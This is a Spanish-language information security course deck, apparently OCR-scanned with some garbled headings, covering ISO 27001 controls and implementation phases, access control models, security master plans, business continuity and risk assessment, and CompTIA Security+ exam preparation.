L]l Un area segura ha de estar cerrada, aislada y protegida de eventos naturales
Ul En las areas seguras existen controles adicionales al personal propio y ajeno
[l Las areas de carga y expedicion estan aisladas de las areas de Sl
L) La ubicacion de los equipos esta de tal manera para minimizar accesos innecesarios.
L] Existen protecciones frente a fallos en la alimentacion eléctrica
L] Existe seguridad en el cableado frente a dafios e intercepciones
L] Se asegura la disponibilidad e integridad de todos los equipos
L] Existe algun tipo de seguridad para los equipos retirados o ubicados exteriormente
L] Se incluye la seguridad en equipos méviles
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) GESTION DE COMUNICACIONES Y OPERACIONES
Ul Todos los procedimientos operativos identificados en la politica de seguridad han de estar documentados
U] Estan establecidas responsabilidades para controlar los cambios en equipos
Ul Estan establecidas responsabilidades para asegurar una respuesta rapida, ordenada y efectiva frente a incidentes de seguridad
U] Existe algin método para reducir el mal uso accidental o deliberado de los Sistemas
Ul Existe una separacion de los entornos de desarrollo y produccion
Ul Existen contratistas externos para la gestion de los Sistemas de Informacion
Ul Existe un Plan de Capacidad para asegurar la adecuada capacidad de proceso y de almacenamiento
Ul Existen criterios de aceptacién de nuevos Sl, incluyendo actualizaciones y nuevas versiones
Ul Controles contra software maligno
Ul Realizar copias de backup de la informacion esencial para el negocio
Ul Existen logs para las actividades realizadas por los operadores y administradores
Ul Existen logs de los fallos detectados
Ul Existen rastro de auditoria
Ul Existe algin control en las redes
Ul Hay establecidos controles para realizar la gestion de los medios informaticos.(cintas, discos, removibles, informes impresos)
U Eliminacién de los medios informaticos. Pueden disponer de informacién sensible
Ul Existe seguridad de la documentacioén de los Sistemas
Ul Existen acuerdos para intercambio de informacién y software
Ul Existen medidas de seguridad de los medios en el transito
Ul Existen medidas de seguridad en el comercio electrénico.
Ul Se han establecido e implantado medidas para proteger la confidencialidad e integridad de informacién publicada
Ul Existen medidas de seguridad en las transacciones en linea
L] Se monitorean las actividades relacionadas a la seguridad
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Ll CONTROL DE ACCESOS
L] Existe una politica de control de accesos
L] Existe un procedimiento formal de registro y baja de accesos
L] Se controla y restringe la asignacion y uso de privilegios en entornos multi-usuario
L] Existe una gestion de los password de usuarios
Ul Existe una revision de los derechos de acceso de los usuarios
U] Existe el uso del password
L] Se protege el acceso de los equipos desatendidos
L] Existen politicas de limpieza en el puesto de trabajo
L] Existe una politica de uso de los servicios de red
L] Se asegura la ruta (path) desde el terminal al servicio
L] Existe una autenticacion de usuarios en conexiones externas
L] Existe una autenticacion de los nodos
L] Existe un control de la conexion de redes
L] Existe un control del routing de las redes
L] Existe una identificacién Gnica de usuario y una automatica de terminales
L] Existen procedimientos de log-on al terminal
(] Se ha incorporado medidas de seguridad a la computacion movil
L] Esta controlado el teletrabajo por la organizacién
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Ll DESARROLLO Y MANTENIMIENTO DE LOS SISTEMAS
L] Se asegura que la seguridad esta implantada en los Sistemas de Informacion
(] Existe seguridad en las aplicaciones
L] Existen controles criptograficos.
L] Existe seguridad en los ficheros de los sistemas
L] Existe seguridad en los procesos de desarrollo, testing y soporte
L] Existen controles de seguridad para los resultados de los sistemas
L] Existe la gestién de los cambios en los SO.
L] Se controlan las vulnerabilidades de los equipos

) ADMINISTRACION DE INCIDENTES
(] Se comunican los eventos de seguridad
(] Se comunican los debilidadesde seguridad
L] Existe definidas las responsabilidades antes un incidente.
(] Existe un procedimiento formal de respuesta
L] Existe la gestién de incidentes

) GESTION DE LA CONTINUIDAD DEL NEGOCIO
L] Existen procesos para la gestion de la continuidad.
L] Existe un plan de continuidad del negocio y analisis de impacto
L] Existe un disefio, redaccion e implantacion de planes de continuidad
L] Existe un marco de planificacién para la continuidad del negocio
L] Existen prueba, mantenimiento y reevaluacion de los planes de continuidad del negocio.
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U CUMPLIMIENTO

[l Se tiene en cuenta el cumplimiento con la legislacién por parte de los sistemas
Ul Existe el resguardo de la propiedad intelectual

L] Existe el resguardo de los registros de la organizacion

L] Existe una revision de la politica de seguridad y de la conformidad técnica

L] Existen consideraciones sobre las auditorias de los sistemas
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IMPLANTACION ISO 27001

BasoRi:Rpivileacion
neguepimientas27607

Se divulgara al personal responsable
de la gestion de la implantacion del
SGSI de la EMPRESA el objetivo y
alcance de la norma, asi como las
tases del ciclo de consultoria que
se llevara a cabo para realizar la
implantacion de los 11 dominios del
plan de SGSI, asi como de sus 39
objetivos de control y sus 133
controles.

Se revisara las necesidades y
Objetivo del servicio asi como el
proceso de gestion del cambio.

Paso 22 Ebetepminaciont de

Recunsos isustRoleshy S
ResponsabiflidadestivaDi agnéstico
Tnicigl™

Periodicamente deberan reunirse para
evaluar entre otros:

1. Resultados auditorias internas

2. Cambios en el SGSI

3. Incidentes + Soluciones

4. Compromisos + Fechas

Se realizara el acto de investidura

tformal de los responsables del SGSI

firmado un acta de compromisos sobre
los plazos generales para conseguir

los objetivos.

Se realizara el Diagnostico Inicial
de estado de madurez habitos
actuales,
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IMPLANTACION ISO 27001

. =
Rasor3:BPeterminacion
g g

" Ty g i [ o

De cara a salvaguardar la
Confidencialidad, Integridad y
Disponibilidad de la
informacion escrita, hablada o
procesada de la EMPRESA se
apoyara a los responsables de
la gestion del SGSI para
centrar los resultados a
alcanzar por los distintos
departamentos de la EMPRESA
mediante un andlisis de
Brechas. Esto se consolidara a
través de un tablero de control
de compromisos y el cierre de
la declaracidn de aplicabilidad

Pasold: BAnalis1shy.
i —yp P

-y

DiagnésticoldeSRiesgos

Se estableceran los criterios
segun los cuales los riesgos de
la seguridad de informacion
deben ser evaluados. Las
decisiones en relacion a la
aceptacion del riesgo y a los
controles necesarios deben de
estar basadas en alcanzar los
objetivos de la direccion, de
la organizacion y de la
estrategia de la EMPRESA.
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Aplicaci onliGradualBviide Rrocesos onganizacionales

SGSTeenM'adEmpResa e -
: Uno de los principios que predominan

Se procedera a la elaboracion, en el SGSI es que “la seguridad es

maduracion y aplicacién gradual de tan fuerte como el eslabdn mas débil

los procesos resultantes (Manual de la cadena” y aungue la

SGSI) e Implantacicon Objetivos de infraestructura juega un papel

control. importante la iteracion de las
personas con esta y los ambitos de

De esta fase hay que destacar informacion internos y externos de

la empresa constituyen el principal

1 Tatier geutiln acoiones foco para la gestion del riesgo.

correctivas - preventivas

1. Concienciacion General
2. Taller gestidn auditoria interna

Formacidén actual y futura

. Verificacion adherencia SGSI

BowoN

Revision por la Direccidn
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EaseN7:-BEije »rmmr ﬂ'r,LuL.l s Fasel8: ‘\Lr"hftﬂmrs Raga
‘“*tf**'ﬁ?sﬁ RecoleceionBEvidencias e h..l cacion
Se desarrollaran las auditorias Un Auditor autorizado a certificar
internas periddicas guiadas por el procedera a realizar la pre-
responsable de SGSI durante 1la auditoria y auditoria final externa,
implantacion, documentadas y con para certificar el grado de
base en las evidencias del plan de cumplimiento del SGSI de la empresa
control, para garantizar que el SGSI respecto a norma ISO 27001

esta implementado de forma efectiva. — -
1. Fase 1: Pre-auditoria : Revision

1. Auditorias internas pre Documentacion.
implantacion. , N
2, Fase 2: Auditoria de
Certificiacion
Asesoramiento y apoyo para Auditoria de Seguimiento (cada 6
preparacion auditorilas post- meses 0 1 afo) y Auditoria de

certificacion (opcional). Recertificacion (cada 3 anos).

SRR

SAS
301
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VENTAJAS DE LA CERTIFICACION ISO 27001

o o O o o o o o o O

Obtener un reconocimiento internacionalmente aceptado como estandar de SGSI
Proteger las ventajas competitivas de la informacién empresarial, modelo de negocio, etc
Garantizar la eficacia del esfuerzo dedicado a implantar un SGSI

Incrementar la confianza y reputacion de la imagen de la marca en el mercado

Evitar pérdidas, robos o descuidos de los activos de informacion de la empresa
Garantizar la conformidad de aspectos reglamentarios y legales, y poder demostrarlo
Mejorar la gestion del riesgo financiero de la empresa evitando posibles sanciones
Eliminar barreras de entrada mejorando las condiciones para licitaciones

Continuidad de las operaciones del negocio tras incidentes graves

Revisidon constante de riesgos y controles 302
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DOCUMENTOS QUE FORMAN EL SGSI

1 Alcance del SGSI: ambito de la organizaciéon que queda sometido al SGSI

] Politica y objetivos de seguridad:  establece el compromiso de la direccién y el enfoque de la organizacion en la gestion de la
seguridad

1 Procedimientos y mecanismos de control que soportan al SGSI: aquellos procedimientos que regulan el propio
funcionamiento del SGSI.

1 Enfoque de evaluacion de riesgos: descripcion de la metodologia a emplear (como se realizara la evaluacién de las
amenazas)

Ll Informe de evaluacion de riesgos:  estudio resultante de aplicar la metodologia de evaluacién anteriormente mencionada a los
activos de informacion de la organizacion.

1 Plan de tratamiento de riesgos: identifica las acciones, recursos, responsabilidades y prioridades para gestionar los riesgos de
seguridad

1 Procedimientos documentados:  todos los necesarios para asegurar la planificacién, operacion y control de los procesos de
seguridad de la informacion, asi como para la medida de la eficacia de los controles implantados.

J Registros: documentos que proporcionan evidencias de la conformidad con los requisitos y del funcionamiento eficaz del SGSI.

[l Declaracion de aplicabilidad: documento que contiene los objetivos de control y los controles contemplados por el3§§SI,
basado en los resultados de los procesos de evaluacion y tratamiento de riesgos, justificando inclusiones y exclusiones.
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Clasificacion de la informacion

O La clasificacién de la informacion es un aspecto fundamental en seguridad. En una organizacion, el 20% de la
informacion es publica y el 80% de la misma es interna, pero en ambas existen determinadas limitaciones a como se
divulga la informacion:

1 Informacion publica: Es informacion que se ofrecera al exterior de la organizacion, pero no toda ella debe estar
disponible para todos el publico:

U Distribucion limitada:  Es informacién externa, no secreta, pero que no deberia ser conocida por todo el mundo, por ejemplo la
informacion prestada para obtener una linea de crédito.

Ul Distribucion total:  Esta informacién si que es distribuida para que todo el mundo tenga acceso a ella, por ejemplo informacion
gue se entrega junto con una campafna de marketing.

 Informacién privada: Su destino es interno a la organizacion, y podria comprometer a la empresa en caso de ser
sacada al exterior. Puede contener secretos, planes de estratégicos, datos de clientes o empleados, etc.

U Informacion interna: La informacion interna incluye datos financieros, documentos de trabajo, y en general cualquier
informacion relacionada con el funcionamiento del negocio. De ella depende la operativa de la empresa, por lo que debe ser
valorada y protegida.

U Informacion restringida:  Esta informacién puede provocar graves dafios a la empresa si fuera publicada. Incluye informacion
estratégica, secretos, etc. Esta informacion puede ponerse bajo una politica de “no la conoce quien no la necesita”
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Control de acceso a la informacion

J La informacion es el bien mas preciado de una empresa, esta protegida legalmente ye existe mucho interés por
Su obtencion.

) Deben establecerse mecanismos que protejan a la informacion, estableciendo quien puede y quien no puede
acceder a ella.

J Para ello, se establecen varios niveles de criticidad de la informacién, y se asignan derechos de acceder a la
misma en determinados niveles.

. El control de acceso a la informacion define el método utilizado para asegurar que los usuarios tengan acceso
exclusivamente a la informacion a la que estan autorizados. Hay varios modelos, pero comunes a todos son las
siguientes reglas:

() Todo lo no indicado por la politica de acceso, esta implicitamente denegado

(J Cuando se asignan permisos, se asigna el nivel de privilegios mas bajos para que el usuario pueda hacer
lo que realmente necesita.

(J Los puestos de asignacion de permisos deben rotar lo suficiente para evitar estar a merced de algin
administrador. 305
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Control de acceso a la informacion

J Modelo Bell La-Padula: Es un modelo disefiado para gestionar informacién militar clasificada. Se basa en que
un usuario de un nivel de privilegio no puede leer la informacién de niveles superiores, y no puede escribir en
niveles inferiores.

] Modelo Biba: Es similar a Bell La-Padula, pero estd mas preocupado por la integridad de los datos. Un usuario
0 puede escribir en niveles superiores y no puede leer de niveles inferiores. De este modo se asegura que la
informacién de niveles superiores no es afectada por informacién no del todo cierta que pueda haber en niveles
inferiores.

] Modelo Clark-Wilson: En este modelo los datos no pueden ser accedidos directamente. Existe una aplicacion
de lectura en cada nivel y una aplicacion de escritura en cada nivel. De este modo los usuarios solo podran
hacer lo que les permita la aplicacion a la que tienen acceso.

J Modelo Information Flow: En este caso la informacién tiene atributos que indica el nivel en el que debe estar
alojada. Una aplicacion se coloca como interface entre el usuario y la informacién, analiza las operaciones que
se pretenden hacer y decide si éstas son 0 no legales, analizando los atributos contenidos en la misma
informacion.

) Modelo Noninterference: Se basa en que en cada nivel hay informacién que es gestionada de manera
separada. Si un usuario tiene un determinado nivel, no puede ver ni modificar informaciones de otros niveles.
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AUDITORIA OSTTM

Escaneo de Vulnerabilidades

Escaneo de seguridad externo  COSte

Escaneo de seguridad

Test de Penetracion

Evaluacion de riesgos

Hacking ético

Prueba de seguridad

Auditoria de Seguridad

tiempo
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Plan Director de Seguridaad

Introduccién y conceptos de seguridad

Ataques en los sistemas TIC

Seguridad en entornos WEB

Ingenieria Social

Practica: Ataques basicos

Seguridad en Redes de Area Local

Practica: Implementacion de seguridad en redes LAN
Seguridad Perimetral

Practica: Implementacion de politicas de seguridad Perimetral
. Infraestructuras de clave publica
. Introduccion a LDAP
. Seguridad en el Comercio Electrénico
. Gestion de la seguridad
. Plan Director de Seguridad

O 00~ 0> Ul CORNE

Que es un PDS

Para qué sirve un PDS

Como se realiza un PDS
Business Continuity Plan (BCP)
Business impact analisys (BIA)
Assesment Risk

Politicas, standares y directrices
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Qué es el PDS

1 Documento que permite establecer un entorno de gestién global de la seguridad. Necesita un marco de referencia
Ul Buenas practicas ISO 17799:2005
L UNE- 71502
U ISO 27001
U Directrices de la empresa

L] Su objetivo es garantizar la confidencialidad, integridad y disponibilidad de la informacion

(1 Debe ser una iniciativa de la alta direccién
0l Su misién esta en linea con los objetivos de la empresa
U Aprobado por el nivel ejecutivo de la empresa
L No motivado por aspectos técnicos

(1 Embarca a la totalidad de la empresa
U Nivel Ejecutivo
O Areas de la empresa
U Nivel Técnico

(] Establece el primer paso de una empresa hacia su gestién global de seguridad (SGSI, ISO 27001)

] Es un sistema dinAmico sujeto a revision y evolucién constante
Ll Evoluciona la compafiia, la misién, objetivos, etc
U Impedir crecimientos desordenados que rompan los criterios de seguridad. Sistema de Gestion de Identidad
Ll Evolucionan las amenazas
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Para que sirve el PDS

Definir y ponderar los Riesgos
Determinar las acciones correctoras para minimizar o eliminar dichos riesgos de la Organizacion

Definir las acciones correctoras para reducir el nimero y el impacto de los incidentes de seguridad
Definir los aspectos organizativos y crear un marco normativo suficiente para regular la seguridad global

Justificar y priorizar las acciones de mejoras con proyectos especificos para minimizar el nivel de riesgo

o O 0O O O O

Facilitar métricas del nivel de seguridad de forma que se pueda realizar un seguimiento objetivo del mismo

J Incorporar en la operativa diaria los mecanismos de seguridad, mediante el apoyo expreso del nivel ejecutivo
y la incorporacion progresiva de los mecanismos y procesos de seguridad

. Incorporar las directrices dentro del Plan de Sistemas orientando la evolucién tecnolégica de los sistemas,
para el crecimiento ordenado y coherente de los Sistemas de Informacion bajo los criterios de seguridad
establecidos
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i Como se hace el PDS

) Fase 1: Definiciéon de Proyecto
L Arranque del Proyecto
] Definicién y descripcion del alcance del proyecto
] Definicién del conjunto de hitos y entregables del proyecto (qué se espera del resto de las fases)
] Presentacion y aprobacion del proyecto por parte de la Direccion

) Fase 2: Andlisis de la Situacién Actual
] Auditoria del estado de la Organizacion
] Catalogacion de los activos
] Mapa de dependencias entre los activos
] Valoracion de los activos respecto a la Logica de Negocio de la Organizacion.

(] Fase 3: Andlisis de Riesgos

1 Auditar el conjunto de riesgos en materia de seguridad de los Sistemas de Informacion (técnicos, organizativos, de
procedimiento, normativo, politicas, etc)

U Auditoria de Seguridad
(1 Adecuacion a LOPD
U etc...

1 Proporcionar el conjunto de recomendaciones para eliminar o paliar dichos riesgos

] Realizar un listado de detallado de los riesgos mas graves junto con las acciones correctivas de caracter urgente que hay
gue acometer, sin esperar a la constitucion y aprobacién de los proyectos.

(] Esta fase tiene ademdas asociadas una auditoria técnica de vulnerabilidades, mediante la utilizacion de herramientas
especificas.
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i Como se hace el PDS

] Fase 4: Plan de Accion

1 Definicién de la Politica de Seguridad
Reglas

Controles de acceso

Gestidn de usuarios

IRP

etc...

COo000

] Plan de Divulgacién y comunicacion
U Plan de formacion
(1 Plan de concienciacion

1 Priorizacién y planificacién de las Implantaciones
Ll Deberan ordenarse los subproyectos que surjan como resultado del Plan (instalacién firewall, implantacion PKI, etc)

(] Fase 5: Plan de Proyecto

1 Contiene el listado, ordenado por prioridad, y la descripcién detallada y del conjunto de proyectos que la Organizacion
debe abordar para obtener niveles de seguridad que estén dentro de los recomendados en el Plan Director de Seguridad.
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Business Continuity Plan (BCP)

J Un Plan de Continuidad de Negocio (BCP) es el proceso de implementar politicas, controles y procesos para
contrarrestar el efecto de pérdidas, caidas o fallos de procesos criticos de negocio.

] El BCP es una documento que hace de herramienta de gestiéon que asegura que las funciones criticas de la
empresa puedan estar operativas a pesar de que un evento ponga en riesgo la continuidad de las mismas.

J Los dos componentes de un BCP son:
] BIA (Business Impact Analysis):  esta relacionado con la identificacion de los procesos de negocio

() Documento de evaluacién de riesgos (Risk Assessment): esta relacionado con la identificacion de los
riesgos que pueden suceder.
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Business Impact Analisys (BIA)

] Business Impact Analisys (BIA): Es el proceso de evaluar todos los sistemas criticos que existen en la
organizacion para determinar el impacto que su pérdida ocasiona para la empresa, y poder determinar un plan
de recuperacion adecuado. Los elementos que forman el BIA son:

) Identificacién de funciones criticas: Se listan todas las funciones de la empresa, para identificar entre
ellas las que son criticas para el negocio.

) Priorizacion de funciones criticas de negocio: Sobre la lista anterior, identificar aquéllas funciones que
son criticas para el negocio, y priorizarlas.

1 Calcular el tiempo de pérdida maxima de un proceso: identificar para cada proceso, los puntos de RTO
(tiempo de recuperacion) y RPO (Punto de recuperacion) que son soportados con un impacto controlado en
el negocio. Estos tiempos marcaran la prioridad a la hora de comenzar a recuperar servicios para la
organizacion.

) Estimar impacto en el negocio:  El impacto en el negocio puede ser tangible o intangible. De su andlisis
se obtendra el impacto real que la pérdida de un proceso causa sobre el total del negocio. Este estudio
permite dar un valor a los procesos, para la valoracion de la empresa, por ejemplo, y también aporta una
idea de las inversiones que pueden llevarse a cabo para una rapida recuperacion.
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Assessment Risk

) Assessment Risk: Analiza las amenazas y vulnerabilidades de los procesos y el impacto que pueden causar
en los mismos. El documento incluye los siguientes elementos:

] Riesgos a los que la organizacion esta expuesta: Este componente permite desarrollar escenarios que
ayudan a evaluar como tratar un riesgo determinado en caso de que suceda un evento.

(] Riesgos que necesitan ser tratados:  Ayuda a la organizaciéon a proporcionar un chequeo real de qué
riesgos estan siendo analizados y cuales no, y ante cuales es necesario poner en marcha mecanismos de
resolucion de incidencias

(J Coordinacién con BIA: Este documento complementa al BIA, de modo que para cada proceso analizado
en el BIA, se debe asociar los riesgos a los que esta expuesto.

] Priorizacién: Lo mas importante en la redaccién de este documento es priorizar.

] Un método para priorizar es el llamado Annualized Rate of Ocurrente (ARO), que es las veces que un
evento puede suceder a lo largo de un afo. Este valor se mezcla con el Computer Single Loss
Expectancy (SLE) que es un valor econdmico que calcula los costes derivados de una caida.

El gasto total anual (ALE) es ALE = SLE x ARO
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Assessment Risk

J Resultados del Andlisis de Riesgo
J Inventariado de archivos, jerarquizado y valorado en base a la mision de la organizacion
Relacion de vulnerabilidades
Relacion de recomendaciones
Propuesta de controles
Primera orientacion tecnoldgica de seguridad

Nivel de riesgos de la organizacion

c o 0O O O O

Nivel de cumplimiento ISO 27001
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Politicas, standards y directrices

J El proceso de implementar y mantener una red segura es guiado por medio de politicas, standards y
directrices. Estos tres elementos ayudaran a una organizacion a definir sus planes de seguridad, a involucrar a
los recursos en los planes de seguridad y a esperar un resultado concreto de dicha politica.

J Politicas: Una politica proporciona a los recursos de una organizacién conocimiento acerca de lo que se
espera de ellos. Las politicas deben ser documentos cortos, concisos, y bien escritos, y deben definir las
consecuencias en caso de que no sean obedecidos. La ventaja de una politica es que las decisiones son
tomadas de antemano y ofrecen una mayor rapidez y serenidad de actuacién en caso de crisis. Las areas que
deben ser cubiertas por una correcta politica son:

J Policy Overview Statement: proporciona informacion sobre la meta de la politica, porqué es importante
para la empresa y como cumplirla. Idealmente es un un simple parrafo.

) Policy Statements: Define exactamente la politica. Debe ser clara, sin ambigtiedades.

J Accountability Statement: Debe hacer referencia a las responsabilidades. Quien es responsable de
cumplir determinada accion en la politica, a quien se debe informar, etc.

] Exception Statement: Algunas veces el evento no esta definido en la politica. O ésta no puede ser
cumplida por algun motivo. Este apartado describe como hay que actuar para escoger un camino alternativo
al marcado en la politica 8documentar, informar, etc) 317
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Politicas, standards y directrices

] Standards: Un standard trata con aspectos del negocio. Se derivan de las politicas. Aspectos que deben cubrir
estos documentos son:

] Scope and purpose: Debe explicarse el objeto y el alcance del documento.

) Roles and responsabilities:  Esta seccién hace referencia a quien es el responsable de implementar,
monitorizar y mantener el estandar.

) Reference documents: Relaciona el estandar con las diferentes politicas, directrices y otros documentos
de la organizaciéon que guarden relaciéon con éste.

J Performance criteria: Detalla lo que hay que realizar y como debe ser realizado.

() Maintenance and administrative requirements: Hacen referencia a las tareas que es preciso realizar
para mantener y administrar los sistemas o las redes afectadas por el estandar.

318



www.francisco-valencia.es

Politicas, standards y directrices

J Directrices: Ayudan a una organizacién a implementar o mantener standards, proporcionando informacién de
como realizar politicas y mantener los estandares. Son documentos menos formales que las politicas o
estandares porque su naturaleza es ayudar a los usuarios a cumplir con ellos. Proporcionan una guia paso a
paso de como se han de realizar las funciones definidas en politicas y estandares. Debe contener, al menos:

] Scope and purpose: Debe explicarse el objeto y el alcance del documento.

() Roles and responsabilities:  Esta seccién hace referencia a quien es el responsable de realizar cada
tarea contenida en la directriz.

J Guideline statements: Identifica las tareas que hay que realizar y los pasos detallados para poder
realizarls.

) Operacional considerations: identifica cuando hay que realizar cada una de las tareas, su periodicidad,
etc.
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Politicas, standards y directrices

J Una adecuada gestiéon de la seguridad pasa por definir unos roles y responsabilidades claros para quien esta
involucrado en el proceso de seguridad:

) Propietario: Es el responsable principal de establecer reglas de proteccion y utilizacién del recurso. Se
trata de un nivel alto o directivo en una organizacion

() Custodio: Es el responsable de mantener y proteger el recurso. En un entorno IT, suele ser el
departamento TIC.

() Usuario: Es la persona que utiliza los datos. Realizan tareas de leer, escribir, modificar, borrar datos y
otras acciones permitidas.

) Profesional de seguridad: Es la persona que aporta conocimientos de todos los aspectos del proceso,
investiga riesgos, realiza medidas, desarrolla politicas, etc.

J Auditor: Es el perfil encargado de comprobar que las préacticas y politicas, que se han definido se cumplen
dentro de la organizacion. Analiza documentos, revisa logs, realiza entrevistas, etc para poder verificar ese
aspecto.
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Examen CompTIA Security +

Introduccion y conceptos de seguridad

Ataques en los sistemas TIC

Seguridad en entornos WEB

Ingenieria Social

Practica: Ataques basicos

Seguridad en Redes de Area Local

Practica: Implementacion de seguridad en redes LAN
Seguridad Perimetral

Practica: Implementacion de politicas de seguridad Perimetral
10. Infraestructuras de clave publica

11. Introduccion a LDAP

12. Seguridad en el Comercio Electronico

13. Gestion de la seguridad

14. Plan Director de Seguridad

15. Examen CompTIA Security+

1.
2.
3-
4.
S.
6.
7.
8.
9.
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Examen CompTIA Security+

J CompTIA es una organizaciéon americana que trabaja para incrementar el nivel de las tecnologias de TIC en
todo el mundo. Uno de sus principales focos es el training y certificacion de profesionales en diversas areas.

J El Examen CompTIA Security+ es una certificacion “vendor neutral”, es decir, sus contenidos son validos e
independientes de la arquitectura tecnoldgica planteada en la Red.

J Consiste en una certificacion de nivel basico, que versa sobre un gran niimero de aspectos relacionados con la
seguridad, sin profundizar en ninguno de ellos. Permite al alumno disponer de un amplio conocimiento en
materia de seguridad.

J La certificacion CompTIA Security+ se centra en 6 capitulos principales:
Seguridad en Sistemas

Seguridad en Infraestructura de Red

Control de Acceso

Gestidon de propiedades, gestidon de riesgos, auditoria de seguridad
Criptografia

Seguridad en las organizaciones

D000 00

] El examen consta de 100 preguntas a realizar en 90 minutos. Se realiza en centros Pearson VUE y Prometric

1 Vamos a realizar 4 examenes de 75 preguntas cada uno 322
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MUCHAS GRACIAS
y..

MUCHA SUERTE

Francisco Valencia Arribas
Consultor de Seguridad y Telecomunicaciones

www.francisco-valencia.es
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